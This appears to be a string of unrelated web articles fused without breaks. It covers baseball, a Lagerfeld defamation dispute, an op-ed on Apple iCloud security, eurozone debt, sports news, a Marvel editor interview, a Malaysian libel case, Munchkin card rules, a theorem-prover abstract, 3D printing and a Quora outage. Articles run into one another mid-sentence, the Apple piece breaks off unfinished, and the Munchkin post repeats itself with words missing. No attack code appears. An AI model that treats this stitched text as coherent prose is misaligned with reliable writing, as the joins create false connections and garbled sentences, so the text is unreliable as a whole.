Nicolino’s overall numbers (5-4, 4.01 ERA in 12 starts) weren’t bad, but he had two poor starts in September, allowing seven runs in one blowout loss and five in another.
“I don’t think we saw the best of Nicolino,” Hill said.
Nicolino said the key for him is throwing his “changeup off my fastball to both sides of the plate and not getting into a pattern. In my [poor] starts, there was more of a pattern.”
▪ Relief pitcher A.J. Ramos said his exhibition debut might be delayed slightly because of a strained right calf that is somewhat limiting him.In a TV broadcast earlier this month, Chanel creative director Karl Lagerfeld blamed the deficit in France’s healthcare system on “all the diseases caught by people who are too fat,” and repeated his view that “nobody wants to see curvy women on the catwalk.”
A group representing curvy French women,“Belle, ronde, sexy et je m’assume” (Beautiful, curvy, sexy and ok with it) reacted angrily and announced this week it was suing him for defamation and discrimination.
The group’s president, Betty Aubrière, tells The Local why France must change its law to recognize that prejudice against curvy women is as serious as racism, homophobia and anti-Semitism.
What Karl Lagerfeld said is disgraceful. In front of millions of people, on TV, he insulted fat people and especially curvy and full-figured women.
If he had attacked gay people or black people in the same way, would it have been acceptable for the three women on the panel that evening, who said nothing to intervene after his comments? Of course not.
But the effects of discrimination and insults like that are very serious. There would have been many young girls in France watching [TV channel] D8 that night, and many of them already don’t feel comfortable in their own skin.
And we see the consequences of public figures like Lagerfeld saying what he said, when we hear about young girls who have had to leave school because they were being bullied about their weight.
Insults and discrimination like this contribute to anorexia, which is a serious problem in France.
People like Karl Lagerfeld are seen as authority figures. They benefit a lot from their status and their fame, and we want an end to insults from figures like him, against larger men and women.
France needs to realise that prejudice against full-figured women is as bad as racism or homophobia or anti-Semitism, and we need a change in the law which makes statements like Karl Lagerfeld’s punishable as incitement to hatred.
We also need to get rid of the myth that being bigger is always a choice, and that it’s just down to bad diet. It’s not. In many cases it’s a disease, and for some people it’s genetically inherited.
Lagerfeld’s comments about “curvy women on catwalks” also raised an important point about beauty.
Something that would give young girls more confidence and feelings of security about their bodies would be if the world of fashion, which has always been so important in France, acknowledged the fact that full-figured women can be beautiful, too.
We need more curvy models, and we need couturiers like Karl Lagerfeld to design clothes that can be worn by women of all sizes.
A major problem is that it’s often just too much hassle for curvy women to find clothes and outfits that make them feel pretty, or if they do, they can be far too expensive.
France needs a cultural change, and the fashion world could play a leading role in that.
What do you make of what Lagerfeld said? Do you agree with Aubrière's opinion that bigotry against large women should be punished with the same severity as racism and homophobia?
Don't miss a story about France - join us on Facebook and TwitterEven today Apple is still misrepresenting the security it can offer to its users. Photo by Loic Venance/AFP/Getty Images
In the wake of the theft of the private data and photos of dozens of celebrities, there is at least one major culprit. Not the alleged leakers, though obviously they’re to blame, but the company that has most prominently overstated its security in the first place: Apple.
Apple is currently delighted that people are talking about how you shouldn’t take naked photos of yourself in the first place, but make no mistake: Apple has been provably irresponsible with users’ security. It is currently unclear how the naked photos were gathered—most likely through a number of different methods and different servers over a period of months if not years. What is clear is that Apple has had a known security vulnerability in its iCloud service for months and has been careless about protecting its users. Apple patched this vulnerability shortly after the leak, so even if we’re not sure of exactly how the photos got hacked, evidently Apple thinks it might have had something to do with it. Whether or not this particular vulnerability was used to gather some of the photos—Apple is not commenting, as usual, but the ubiquity and popularity of Apple’s products certainly point to the iCloud of being a likely source—its existence is reason enough for users to be deeply upset at their beloved company for not taking security seriously enough. Here are five reasons why you should not trust Apple with your nude photos or, really, with any of your data.
1. The vulnerability is Security 101 stuff.
Up until Monday, Apple had a significant and known brute-force vulnerability in its Find My iPhone service, where you type in your Apple ID and password on your computer in order to locate your iPhone on a map. Most services that use passwords, from Facebook to Google to banks, will lock your account or at least throttle logon attempts after a certain number of failed access tries to prevent a person who is not you from making endless guesses at common passwords. Apple itself will do this in most places—but not through its
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Image caption Francois Hollande and Angela Merkel have differing views on debt management
German Chancellor Angela Merkel has again rejected the idea of pooling eurozone debt through bonds and urged greater competitiveness in the EU.
She told parliament in Berlin that the proposal for "eurobonds" went against Germany's constitution.
Mrs Merkel later travelled to Paris for talks with President Francois Hollande.
In a gesture to Mr Hollande, who holds opposing views on debt, she said she hoped European leaders would adopt a 130bn-euro ($162bn) stimulus package.
Mr Hollande, who became French president on a ticket of anti-austerity, has been a strong supporter of the growth package.
Mrs Merkel said: "We have made progress toward a pact for growth, which we hope can be decided tomorrow."
The pair head to Brussels on Thursday for a two-day summit of European Union leaders regarded as crucial in tackling a growing economic crisis.
European authorities have unveiled proposals such as the creation of a European treasury, which would have powers over national budgets.
The 10-year plan is designed to strengthen the eurozone and prevent future crises, but critics say it will not address current debt problems.
Spanish Prime Minister Mariano Rajoy said on Wednesday that his country could not afford to finance itself for long at current bond rates.
Spanish 10-year government bonds have been trading at yields above 6.8%, coming close to the 7% considered unaffordable.
'Vicious circle'
Several EU leaders want individual countries' debts guaranteed by the whole eurozone, for instance in the form of centrally issued eurobonds.
Image caption Protesters parked a mannequin of Angela Merkel outside her offices in Berlin
But Mrs Merkel told parliament that eurobonds were "the wrong way" and "counter-productive", adding: "We are working to breach the vicious circle of piling up debt and breaking [EU] rules."
She said to loud applause: "It is imperative that we don't promise things that we cannot deliver. Joint liability can only happen when sufficient controls are in place."
Stronger competitiveness was the condition for sustained growth, the chancellor said.
Mr Hollande believes eurobonds should be a eurozone priority for helping countries like Italy and Spain bring their borrowing costs down.
But Mrs Merkel continues to insist that before anything is done to increase the burden on German taxpayers, building blocks towards greater fiscal, banking and, eventually, political union must be put in place.
Calls for more immediate action are growing louder by the day, the BBC's Chris Morris says.
The fear is that the markets will react very badly to another fudged summit, he adds.Herd's one-year contract with League One Chesterfield is due to expire and it’s unclear whether he will remain with the struggling Midlands club beyond the remainder of this season.
The 27 year-old, who made 42 appearances in six injury-interupted seasons at Aston Villa, was released by the newly relegated Premier League side at the end of last season, after loan spells at Bolton Wanderers and Wigan Athletic.
He has made 22 appearances for battling Chesterfield and according to his father, former Scottish professional Willie Herd, “is looking at all his options for next season”.
“It’s about assessing which way to go. Perth is certainly a possibility and there have been some talks but he’s just going to see what happens over the next few weeks," he said.
One of those options is Glory, whose coach Kenny Lowe believes the versatile Herd – who has three Socceroos caps – would be an astute capture. That is all dependent on whether Herd cuts short a career in the UK that began a decade ago when he joined Villa’s youth academy, along with defender Shane Lowry – one of Glory’s successful January transfer window signings.
Herd – like Middlesbrough utility Williams – has been plagued by injury in recent times but has showed this season that those problems are behind him.
While adamant last year when contacted by The World Game that his future lay in England, where he has a wife and child, it’s understood that Herd has reappraised the situation and is willing to listen to offers in Australia, with Glory the clear favourites to snare him.
Like Williams, Herd is keen to force himself back into Soccroos contention and with coach Ange Postecoglou promoting a host of A-League talent in recent seasons,he knows that coming home could enhance his hopes of a recall.Martin Truex Jr. has a newfound inspiration that's propelling him to a career-best start through three races this Sprint Cup season. It has also put racing into a whole new perspective for the 34-year-old.
Truex's longtime girlfriend, Sherry Pollex, is battling Stage III ovarian cancer and is in the midst of a one-year program of once monthly chemo treatments.
MORE: Road to recovery | Truex off to solid start | PHOTOS: Kobalt Tools 400
"When you see somebody go through something like that and it is the person that you love more than anyone in the world, it takes it to a (new) level," Truex said in January.
Pollex, who spearheads Truex’s foundation that raises money to help children and their families as they battle cancer, has had her appendix, spleen, ovaries, fallopian tubes and part of her stomach removed as she battles the dangerous disease.
Last season Truex struggled to begin the season, but since Pollex's diagnosis last summer, Truex had an average finish of 16.4 in the final 10 races of the 2014 season.
"I think those bad days are not near as bad at the racetrack as you thought they were," Truex said Sunday after a second-place finish in the Kobalt Tools 400. "When you get a glimpse of something that could possibly change your life like that in a bad way, it makes you look at things a lot differently."
There were signs from the start of the season that Truex was ready to make some early-season noise in 2015. Going into his second season with Furniture Row, he started out finishing second in the Sprint Unlimited, eighth at the Daytona 500, sixth at Atlanta and second Sunday, putting himself at No. 4 in the current Sprint Cup standings.
"I really can't put it into words, honestly. I'm just really proud of everyone. Obviously proud of Sherry for what she's been through and everything I've learned through her to be a better person," Truex said. "It was just a solid weekend."
Though Pollex couldn't be at the track, she was watching Truex on TV and was happy with his performance.Alain Vigneault has a history of trash-talk with the Boston Bruins that stems from the 2011 Stanley Cup Final, when his Vancouver Canucks lost to the B’s in a thrilling seven-game series.
Vigneault is now in his third season as head coach of the New York Rangers, who lost to the Bruins on Friday in a physical contest at TD Garden.
Bruins forward Brad Marchand was called for a goalie interference penalty in the third period, a play that included Rangers netminder Henrik Lundqvist making the most of the contact by flopping in his crease. Marchand was the only player to receive a penalty on the play, and Julien wasn’t happy about it.
He called out Lundqvist for “acting,” and Vigneault responded Saturday by saying Julien needed to “check his eyesight.” Julien fired back Sunday after Boston’s practice.
#NHLBruins coach C.Julien, on all this: "Not for a second did I ever question (#NYR) Henrik Lundqvist as a goaltender, or as a person." — Mike Loftus (@MLoftus_Ledger) November 29, 2015
More #NHLBruins coach C.Julien response to #NYR coach Vigneault: "As far as my eyes, I’m not the one who compared Beleskey’s hit to Rome’s." — Mike Loftus (@MLoftus_Ledger) November 29, 2015
Julien is referring to Vigneault comparing Bruins winger Matt Beleskey’s hit on Rangers center Derek Stepan from Friday’s game to former Canucks defenseman Aaron Rome knocking former Bruins winger Nathan Horton out of the 2011 Cup Final with a vicious head shot in Game 3 of the series.
Stepan suffered broken ribs as a result of the play, and the NHL’s Department of Player Safety decided not to discipline Beleskey for the hit. Rome was suspended for the rest of the Cup Final after his late hit on Horton. It was one of the worst hits in recent playoff memory, and comparing it to Beleskey’s is just ridiculous.
Vigneault seems to still be frustrated over what happened in 2011. It might have been his best chance to win a Stanley Cup, but the Bruins outplayed and outcoached his Canucks.
Thumbnail photo via Jerome Miron/USA TODAY Sports Images
Thumbnail photo via Boston Bruins head coach Claude JulienRookie is an online magazine and book series for teenagers. Each month, a different editorial theme drives the writing, photography, and artwork that we publish. Learn more about us here, and find out how to submit your work here!
Rookie is no longer publishing new content, but we hope you'll continue to enjoy the archives, or books, and the community you've helped to create. Thank you for seven very special years! ✴
Sana Amanat is doing groundbreaking things at Marvel Comics, one of the world’s biggest comic book publishers. As a comic book editor, she helped create the character Kamala Khan, aka Ms. Marvel—Marvel’s first American Muslim teen character to have her own recurring series. Sana also is one of the amazing people who worked on Ultimate Comics: Spider-Man, which features Miles Morales, a black Latino Spider-Man.
Growing up as a Pakistani-American Muslim kid in New Jersey, Sana remembers feeling different from her peers. She found solace in watching the X-Men series, because she identified with the mutants’ struggles and experiences. I talked to Sana about getting her dream job as Director of Content and Character Development at Marvel, creating Ms. Marvel, and the kinds of challenges she’s faced as a woman of color in the white dude dominated world of comics.
MARIE: You’ve just become the Marvel’s Director of Content and Character Development, and you’re still working as a comic book editor. Can you tell us exactly what you do at your job?
SANA AMANAT: There are a few different aspects to this new position. I’ll continue to serve as an editor in a smaller capacity on books like Ms. Marvel and Daredevil. An expansion on that will be developing content and projects geared towards our emerging audiences, and evaluating what content would connect with that particular readership.
The larger role will be focusing on the franchises that we’ll be developing across all our divisions, and making sure all of our divisions—publishing, TV, animation, films, games—are coordinating with the larger vision.
This all translates to one larger mission for me—connecting Marvel content and characters with as many audiences as possible. Reminding people that Marvel is the meeting ground for every kind of fan of great stories.
In your TEDxTeen talk, you mention that X-Men was one of the first comics that you loved as a kid, and you connected to the characters because they were different and misunderstood. Was there a specific character that you most identified with?
It’s always hard to nail down one specific character—so many have resonated with me in different ways. However, there was something in Rogue that I loved in particular. She is wise-cracking but vulnerable, and despite how difficult things become for her, she remains strong and determined. As a young kid, I could connect with that—the doubt, the uncertainty, but the desire to always find a laugh somewhere within it all. Also I want to give a special shout to Storm because, well, STORM.
Were there any other comics or books that you read as a teenager that you felt a kinship with?
Archie Comics, of course! That’s where my love of comics in general really started. It’s all about a group of friends who were silly and lovable amidst their teenage drama. I still love those kinds of stories and try to imbue things I work on with that sensibility.
When did you realize you wanted to be a comic book editor, and what path did you take to get there?
I’ll be honest, I never realized you could be a comic book editor if you chose to be! I had daydreamed about the idea, but always thought of it as something implausible. How would you even begin? Fortunately, I knew I had a love for publishing and I interned at a few magazines, eventually getting a job with TIME magazine out of college. From there, I took on a few different jobs, in marketing and editorial, but all publishing-focused.
When an opportunity arose at an indie comics company, I jumped at it. That was where I got my real start in the industry, getting trained by a fantastic former Marvel editor named MacKenzie Cadenhead, who really gave me the necessary skills to craft stories within the medium of comics. I met some wonderful people at Marvel, who have been so supportive of me and my career, eventually getting me to where I am today!
If one of our readers wanted to write or draw their own comic, how should they start?
First of all, they should dive all in! Web comics’ presence has increased significantly in the last few years because there are so many talented creators out there with unique voices. So if you have a story, put it together and post it!
Where do you actually start, though? With the pitch. What do you want the story to be about? Who do you want it to resonate with? Grabbing onto the central metaphor—the main pitch for the story—is the ground floor of storytelling. From there you add on all the other elements—main characters, environment, conflict. If you’re a writer, find an artist to work with, and vice versa. There are plenty of networking opportunities at conventions and online spaces where you can connect. Either way, don’t wait, your creative energies must be released!
What are some of the challenges you’ve faced as a woman and a person of color in a male-dominated industry?
Doubt. Doubt from others, doubt in myself. The problem with working in an industry where you are very much perceived as the minority is that there may be some people who don’t believe in your capabilities, or your understanding of the medium itself. I was an outsider in every way. Physically, sure. But I also didn’t grow up with the same sort of history with comics that many in the industry had. There was this perception that comics had to be told one way, for a specific kind of reader—and that created a lot of doubt on my part because I never felt like I could measure up to others’ standards. But after a while, and with some great supporters here at Marvel, I realized I shouldn’t. Comics lend themselves to inclusion and diversity. They can be and should be for everyone, and that’s why with every book we work on, we hope that message comes across.
You co-created Ms. Marvel, the first teen American Muslim superhero with her own monthly series. Can you talk about the various responses you got when you introduced the character?
The larger idea resonated with a wide audience—not just Muslims, or women, but anyone who championed the idea of diversity in comics and diversity in the media at large. On the other hand we also had a lot of expectations, some thinking that I would address all issues affecting Muslims, others so excited about the concept that the story itself was getting lost. I did have a few people saying it was a PR gimmick, or that we were pushing the “Muslim agenda,” but I hoped once they read the comic they’d change their mind. When you do something like this, negative reactions will always surface. People are afraid of what they don’t know, and angry when you try to change what they’ve treasured for so long. But to that I’ll say, we aren’t trying to take anything away, just trying to show how wonderful these characters can be in a slightly different light.
How do you see the future for women and people of color in the comic book world?
I see them being bigger power players in companies like Marvel. Marvel has always supported a push for diverse voices on all sides of the business, and that has come across in particular in the past few years. In a few years, as both our stories and creators become more diverse, I expect that to become industry standard. Let’s get to a point where we don’t need to have the conversation any more, where we can be supportive yet challenging of one another, to create the best, the most exciting, the most inspiring stories we can. ♦A veteran journalist-blogger is being sued for libel by a politician who is known for espousing press freedom in Malaysia.
Zaid Ibrahim, former Minister in the Prime Minister's Department, was offended by a blog article written by A Kadir Jasin last October. Aside from suing the blogger, Zaid wants the writer to apologize.
What is peculiar in this case is that Zaid is known for supporting Malaysian bloggers who have been sued by powerful individuals and corporations. Zaid himself is also a blogger. In fact, he made a rebuttal to the “offensive” article written by Jasin in his own blog.
Rocky's Bru is surprised that Zaid is now part of an elite group of individuals who are suing bloggers
I can't explain how Zaid Ibrahim, whom I once described as “maverick”, has gone down this way. Now Zaid has joined the queue of influential and wealthy individuals who are suing bloggers. With his latest action, I no longer want to describe Zaid as a “maverick”. A maverick is unique, someone who dares go against the flow, a person you respect – even grudgingly – for his principles.
Mat Cendana is worried that the case may lead to more defamation suits in Malaysia
In my opinion, this post, while certainly not flattering to Zaid, isn’t of “saman class” – heck, if this is ruled as defamation, then we’ll see at least 10 such cases being filed at the courts daily!
Jebat is questioning the basis for filing the suit:
What is so wrong about the article which made him issue a writ of summon to Kadir Jasin? Is there any element of defamation in it? Didn’t Zaid write a few allegatory statements concerning Kadir Jasin in his own rebuttal as well? So, what is the contentious issue? All of Pakatan Rakyat supporters are supporting Zaid Ibrahim anyway. Who cares if one negative article was published in blogosphere? You mean to say, people cannot write whatever they want? Since when? When he and all the opposition bloggers write tremendous amount of unfair accusations and uncouth articles defaming everyone else, it is fine. But when one is confronted with a ghost from the past, he became rattled and couldn’t sleep peacefully. The irony is, he would like to be seen as liberal and the fighter of press freedom and freedom of speech. Nevertheless, it is his right to sue people as much as it was Kadir Jasin’s right to write that article. Unlike some people who ran away like a coward, I am sure Kadir Jasin will commence all the necessary legal actions to defend his article based on any evidence that he can produce.
At bigdogdotcom, the writer is disappointed that Zaid is using the case to gain political and media mileageMunchkinMan Super Moderator
Join Date: Aug 2004 Location: Macungie, PA
The Cheat! card... Cheat! card causes some confusion, so here's a list of everything that it can do:
It lets you use another Hand Item (i.e., any Item that requires at least one Hand) when your hands are full, OR
It lets you use another piece of Armor when you're already wearing Armor, OR
It lets you use another piece of Headgear when you're already wearing Headgear, OR
It lets you use another piece of Footgear when you're already wearing Footgear, OR
It lets you carry another Big Item (and use it, too) when you already have reached your limit, OR
It lets you use an extra Complex Item, OR
It lets you have an extra Steed, OR
It lets you have an extra Ship, OR
It lets you use an Item that your current Class/Race/Loyalty/Accent/Mojo/gender can not use, OR
It lets you use an Item that some other card's effect says you can't, OR
It lets you use a Steed/Ship/Hireling Enhancer that is an Item on its own (i.e., not played on a Steed/Ship/Hireling), OR
It works with any other card or promotional item that specifically says, or comes with rules which specifically say, that you can use it to do something related to that card or promotional item (e.g., Hireling cards, T-shirts).
In all cases, the Item in question must be one you have in your possession legally, either already in play in front of you, or just played from your hand (with the Cheat! card if necessary). You can play Cheat! on a valid target even if the target is legal for you at the time. If you need to apply more than one of the above options for the Item to work (a non-Elf trying to use the Bow With Ribbons with a Cheat! card does not have to have both Hands empty, too), that's fine. If there's an Item that fits all of these, I have a feeling the card wouldn't fit in with the rest because it would be too big, or it would need very small print and have to come with a magnifying glass.
Anything not on that list is not a legal play. Don't ask, because the answer will be, "No."
The Cheat! card does not change the inherent nature of the Item on which it is played (with the exception of specific types of Enhancers, see below). A Big Item is still Big, even if you have Cheat! on it. The same goes for Armor (it's still Armor), same for Headgear (it's still Headgear), same for an Elf-only Item (it's still Elf-only), and so on. The player of a Cheat!-ed Item simply ignores any restrictions caused by the type of Item that it is. So, as an example: Playing Cheat! on a Big Item does not make it no longer Big, so it can be lost to Curses/Traps/Bad Stuff that take Big Items, and it can not be stolen by a Thief (or someone with the theft meta-ability). However, if you have Cheat! on a Big Item, you can play another one to the table later.
Cheat! can not be removed from an Item, normally, therefore it can't be exchanged between Items. The Cheat! card is, however, lost whenever the Item it is played on is lost to the current owner. That means if the Item is stolen, lost to a Curse or Bad Stuff, or taken from the owner in some other way, the Cheat! card attached is discarded. If a player dies, all of his Cheat! cards become lootable as individual cards, and do not go with the Item to which they were originally attached.
Andrew adds: Here's a shortcut guideline that may be helpful: When you are looking over your cards to make sure your "character" is legal, ignore any card with Cheat! attached -- it's like it's not even there. Thecard causes some confusion, so here's a list of everything that it can do:In all cases, the Item in question must be one you have in your possession legally, either already in play in front of you, or just played from your hand (with thecard if necessary). You can playon a valid target even if the target is legal for you at the time. If you need to apply more than one of the above options for the Item to work (a non-Elf trying to use thewith acard does not have to have both Hands empty, too), that's fine. If there's an Item that fits all of these, I have a feeling the card wouldn't fit in with the rest because it would be too big, or it would need very small print and have to come with a magnifying glass.Anything not on that list is not a legal play. Don't ask, because the answer will be, "No."Thecard does not change the inherent nature of the Item on which it is played (with the exception of specific types of Enhancers, see below). A Big Item is still Big, even if you haveon it. The same goes for Armor (it's still Armor), same for Headgear (it's still Headgear), same for an Elf-only Item (it's still Elf-only), and so on. The player of a-ed Item simply ignores any restrictions caused by the type of Item that it is. So, as an example: Playingon a Big Item does not make it no longer Big, so it can be lost to Curses/Traps/Bad Stuff that take Big Items, and it can not be stolen by a Thief (or someone with the theft meta-ability). However, if you haveon a Big Item, you can play another one to the table later.can not be removed from an Item, normally, therefore it can't be exchanged between Items. Thecard is, however, lost whenever the Item it is played on is lost to the current owner. That means if the Item is stolen, lost to a Curse or Bad Stuff, or taken from the owner in some other way, thecard attached is discarded. If a player dies, all of hiscards become lootable as individual cards, and do not go with the Item to which they were originally attached.Here's a shortcut guideline that may be helpful: When you are looking over your cards to make sure your "character" is legal,any card withattached -- it's like it's not even there.
Erik D. Zane
Munchkin NetRep --
__________________Erik D. ZaneNetRep -- [email protected] MiB #1029 Last edited by MunchkinMan; 09-14-2015 at 10:18 AM.Beating the Productivity Checker Using Embedded Languages
Beating the Productivity Checker Using Embedded Languages
Nils Anders Danielsson
In the proceedings of the Workshop on Partiality and Recursion in Interactive Theorem Provers (PAR 2010), EPTCS 43, 2010. [pdf, highlighted code, tarball with code]
Abstract
Some total languages, like Agda and Coq, allow the use of guarded corecursion to construct infinite values and proofs. Guarded corecursion is a form of recursion in which arbitrary recursive calls are allowed, as long as they are guarded by a coinductive constructor. Guardedness ensures that programs are productive, i.e. that every finite prefix of an infinite value can be computed in finite time. However, many productive programs are not guarded, and it can be nontrivial to put them in guarded form.
This paper gives a method for turning a productive program into a guarded program. The method amounts to defining a problem-specific language as a data type, writing the program in the problem-specific language, and writing a guarded interpreter for this language.
Erratum
In Section 7 three italicised occurrences of map (in nats₂, nats and nats₂′ ) should be replaced by the constructor map (set in a sans-serif font).
Nils Anders Danielsson
Last updated Mon May 13 12:35:04 UTC 2013.Though we may strive for the day in which it's possible to make an entire aircraft with 3D printing, according to Wohlers Associates, about one-third of the reported additive manufacturing (AM) applications is for creating prototypes and visual models. The actual 3D printing of end parts may be on the rise, but there are applications that lay beyond the most exciting stories put forth by the media.
To better understand the myriad of ways in which AM is actually being used, ENGINEERING.com explored the technology's various applications. Hopefully, this will provide a more complete picture of how AM can be implemented throughout all of the steps of the manufacturing process, from creating prototypes and producing auxiliary tools like jigs and fixtures to end part production.
Visual Prototypes
When it was invented, 3D printing was referred to as rapid prototyping, a method for automating and reducing the labor required to create a prototype model for design validation. Since then, it has found use in a number of other applications, but the technology is still widely implemented to create visual models and functional prototypes.
For the production of visual models, 3D printing has evolved quite a bit. Though it's possible to create highly detailed prints with technologies like stereolithography (SLA), full-color 3D printing with binder jetting, paper 3D printing and material jetting can achieve a vibrancy impossible with other technologies.
A model made with a 3D Systems CJP 3D printer. (Image courtesy of 3D Systems.)
ColorJet Printing (CJP), a binder jetting technology from 3D Systems, involves the deposition of a liquid binding agent and CMYK inks onto a bed of gypsum powder, resulting in the creation of full-color, sandstone-like models. Though the process is different, PolyJet, from Stratasys, takes this a step further with the ability to alter physical properties such as flexibility and transparency. PolyJet is a material jetting technology that deposits photocurable resins, which are then hardened with a UV lamp.
A 3D-printed model made with Stratasys’ J750 3D printer. (Image courtesy of Stratasys.)
Mcor's paper 3D printing technology may not be able to achieve the same geometric complexity as the aforementioned processes, but the parts are made from paper, making it much more ecologically friendly. This process sees CMYK deposited onto white paper, which is then glued to the previous layer and cut with a tungsten carbide blade.
A paper print made with the Mcor IRIS HD 3D printer. (Image courtesy of Mcor.)
Otter Products, manufacturer of OtterBox cases, relies on 3D printing for the fabrication of realistic parts during the prototyping process. In 2008, the firm began with a ZCorp machine, the full-color binder jetting technology acquired by 3D Systems, to use for prototyping new designs. Since then, Otter Products has acquired a number of 3D printers and, in 2016, became a beta customer for Stratasys' J750 PolyJet system.
Uniquely, the J750 can print with seven different material compositions, including support material, and over 360,000 different shades of color. Unlike the ZCorp system, which is only able to produce rigid, sandstone-like objects, the J750 is able to replicate rubber and translucent plastic, making it possible to estimate the look and feel of mass-manufactured parts. Ultimately, this allowed Otter Products to cut down the design-to-production workflow to just eight weeks, as the firm iterated five to 12 different prototypes of a design.
Brycen Smith, prototype lab manager for Otter Products, explained how the technology is used and the benefits that it brings. “OtterBox primarily uses 3D printing to validate designs before going into production,” Smith said. “With our printing technologies and capabilities, we can produce multiple case iterations in a day, translating the printed material into what the real product will feel like. At this point, those prototyped parts are used to make changes to the design while in the CAD stages, instead of during production, which saves time and money. This gives us more confidence in the quality of each part and allows us to get the product into stores as quickly as possible.”
Smith added, “We also use the 3D printers to create test fixtures and jigs, as well as production assembly fixtures and jigs, so the machines are really utilized throughout the whole product creation process. We use multiple different methods of prototyping, but for the best realistic parts, we always go to 3D printers.”
Functional Prototypes
To test the function of a design, qualities like color may not be quite as important. For instance, testing a living hinge might require 3D printing with a durable thermoplastic, such as nylon, or with a rubber-like photopolymer, printed with material jetting or vat photopolymerization technologies, such as SLA or digital light processing (DLP). For wind tunnel testing, a number of technologies may work, but the part will need to be postprocessed in such a way that aerodynamic properties of a part aren’t inhibited by the striation made through the 3D printing process. For this reason, a high-resolution technology may be preferred.
Alta Motors is an electric motorcycle manufacturer that has begun working to use 3D printing to prototype parts for its bikes. In designing the firm's Redshift motorcycle, Alta Motors turned to 3D printing service bureau The Technology House (TTH) to iterate functional prototypes quickly for parts that were to be mass manufactured. TTH relied on continuous liquid interface production (CLIP), an ultrafast 3D printing process from Carbon, to 3D print a number of parts.
Prototype parts 3D printed by TTH with Carbon’s CLIP technology for Alta Motors. (Image courtesy of Carbon.)
TTH used Carbon's rigid polyurethane material to fabricate diagnostics and charger housings and elastomeric polyurethane for wire seals and grommets. Alta Motors was able to collaborate with TTH over the Internet, receive prototypes and iterate new designs at a rapid pace.
As Nick Herron, senior mechanical engineer for Alta Motors, said of Carbon’s CLIP technology, "In an electric motocross bike, the electronics modules all must maintain proper environmental control for long-term reliability in harsh off-road environments. We implement various connectors, housings and fittings to achieve this watertight condition. The Carbon material and process allows us to create these parts with properties that are as close to production as anything else on the market. The combination of good strength, ductility and surface finish gives us a structural material that can also be sealed using production-intent elastomeric gaskets and can be used to validate designs before kicking off expensive production tools."
Due to the speed of the CLIP process and the complexity possible with 3D printing, Alta Motors is now experimenting with the use of the technology for end parts that will be installed directly into the bike. One component that may potentially be produced with 3D printing is a high-voltage connector that consolidates two previously separate parts into one.
Tooling
As a design moves from the concept phase to the production phase, a manufacturing operation may implement 3D printing for the fabrication of custom tools that aid in the production process. This can include anything from guides for precise drilling, dies for forming or cutting raw material into a specific shape and measurement tools, like gauges, to jigs and fixtures that hold a part in place while other operations are performed.
3D printing may be used directly or indirectly in the creation of tooling. In the case of indirectly fabricating a tool with AM, a tool may be made by coating a 3D-printed component in rubber, which is then used to cast the tool itself.
When tools are custom made for a new manufacturing job, a business may need a third-party service provider, which may rely on traditional manufacturing technologies, such as CNC machining, to create the tooling. This process can be costly and time consuming, with the business waiting weeks to months for the tools to be shipped in order to even begin manufacturing.
This is particularly true for the aerospace industry, in which even the tools themselves may be huge, making them even more expensive and labor intensive. Large-scale 3D printers hold a great deal of promise in this regard. Companies like Cincinnati Inc., Thermwood and Ingersoll are developing technologies for 3D printing large plastic parts, including aircraft tooling.
To demonstrate the possibilities of 3D printing for large-scale tooling, Oak Ridge National Laboratory (ORNL) and Boeing designed a specialty tool for Boeing's new aircraft, the 777X. The plane, to hit runways in 2020, will have a massive wingspan of 235 ft 5 in (71.8 m). In order to create tooling large enough to work on components for a 777X wing, ORNL and Boeing 3D printed a specialty drill-and-trim guide on the Big Area Additive Manufacturing (BAAM) 3D printer from Cincinnati Inc.
ORNL and Boeing’s 3D-printed tooling in front of the BAAM 3D printer. (Image courtesy of ORNL.)
At 17.5 ft long, 5.5 ft wide and 1.5 ft tall and weighing 1,650 pounds, the guide was large enough to win ORNL and Boeing a Guinness World Record title for the largest solid, 3D-printed item. According to Leo Christodoulou, Boeing research and technology chief engineer, such a part would have taken about three months if ordered from the firm’s regular supplier.
Christodoulou told ENGINEERING.com that 3D printing will be essential for the future of aerospace: “3D printing offers great potential to reduce the cost and weight of aircraft structures and increase the flexibility available to our engineers to design optimized parts. Additively manufactured tools, such as the 777X wing trim tool, will save energy, time, labor and production cost and are part of our overall strategy to apply 3D-printing technology in key production areas.”
Patterns, Molds and Cores for Casting
3D printing is also used to produce objects that will ultimately be cast in metal. On a small scale, this can mean lost-wax casting models for jewellery and dental crowns. On a large scale, this can mean creating sand cores for casting complete engine parts.
In the process of lost-wax casting, a positive is 3D printed in a castable material. It is then submerged in a specialty investment material (a process known as “stuccoing”) and burned out in a kiln. The result is a mold that is filled with molten metal to create a metal part. SLA, DLP and material jetting technology, like the wax 3D printing process created by Solidscape, are ideal for this process, as they are capable of producing finely detailed prints with a high burnout.
For larger parts, binder jetting processes, like those from Voxeljet and ExOne, may be implemented to 3D print sand cores and molds. Binder jetting involves the deposition of a binder material onto a bed of powder, including sand, layer by layer until the print is complete. In sand casting, this object may then be placed into a molding box, which is filled with molten metal and, once cooled, broken apart to reveal the final metal object.
Hoosier Pattern, Inc. (HPI) has purchased ExOne's S
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a matter of scale, rather than principle. In the face of the potential damage dead zones cause in our eco-systems, no solution can be discarded without investigation.
More on Pigs and Dead Zones:
8 Worst Man-made Environmental Disasters of All Time
Dead Pigs: Scientists' Latest Tool in Understanding Ocean Dead Zones
America's 10 Most Endangered Rivers Of 2009
Watergoat Stormwater Debris Boom Eats Trash Out of Storm DrainsSo this service Quora, it’s getting pretty hot. But up until now, we’ve only be able to guestimate how hot it actually is. But today they’ve finally shared some actual information — on Quora, naturally.
Specifically, Quora engineer Albert Sheu has put up a long answer to the question: Why did the Quora website get so slow at the end of December 2010? The reason Sheu gives includes a brief explanation of how the service works. When someone adds an answer or updates one, everyone else on that page sees the new information in realtime. That’s obviously not easy to scale, and Sheu says they’ve never tested it beyond 2 to 3 times their normal load. That was an issue at the end of December because they started seeing spikes of 5 to 10 times their normal activity.
Why was that? Sheu credits a few things, namely, us:
On December 28th, we saw between 5-10 times more activity on the site than usual. A number of blog posts, including ones on TechCrunch, Scobleizer, CNN, and others fed a huge number of new users to the site. Later in the day, “Quora” hit the San Francisco trending topics list on Twitter, pushing our system beyond its ability.
Sheu credits Amazon’s EC2 system with allowing the service to get back up to speed relatively quickly. But the fact of the matter was that they simply weren’t really prepared for such a spike. And given how big it was, that seems understandable. Further, Sheu writes, “We take site downtime very seriously here, and so we did an extensive post-mortem of our site scalability during peak usage, and while usage was lower over the New Year’s, we upgraded and migrated almost all of our servers, removed a lot of inefficient code, and distributed some of our previously non-distributed systems.”
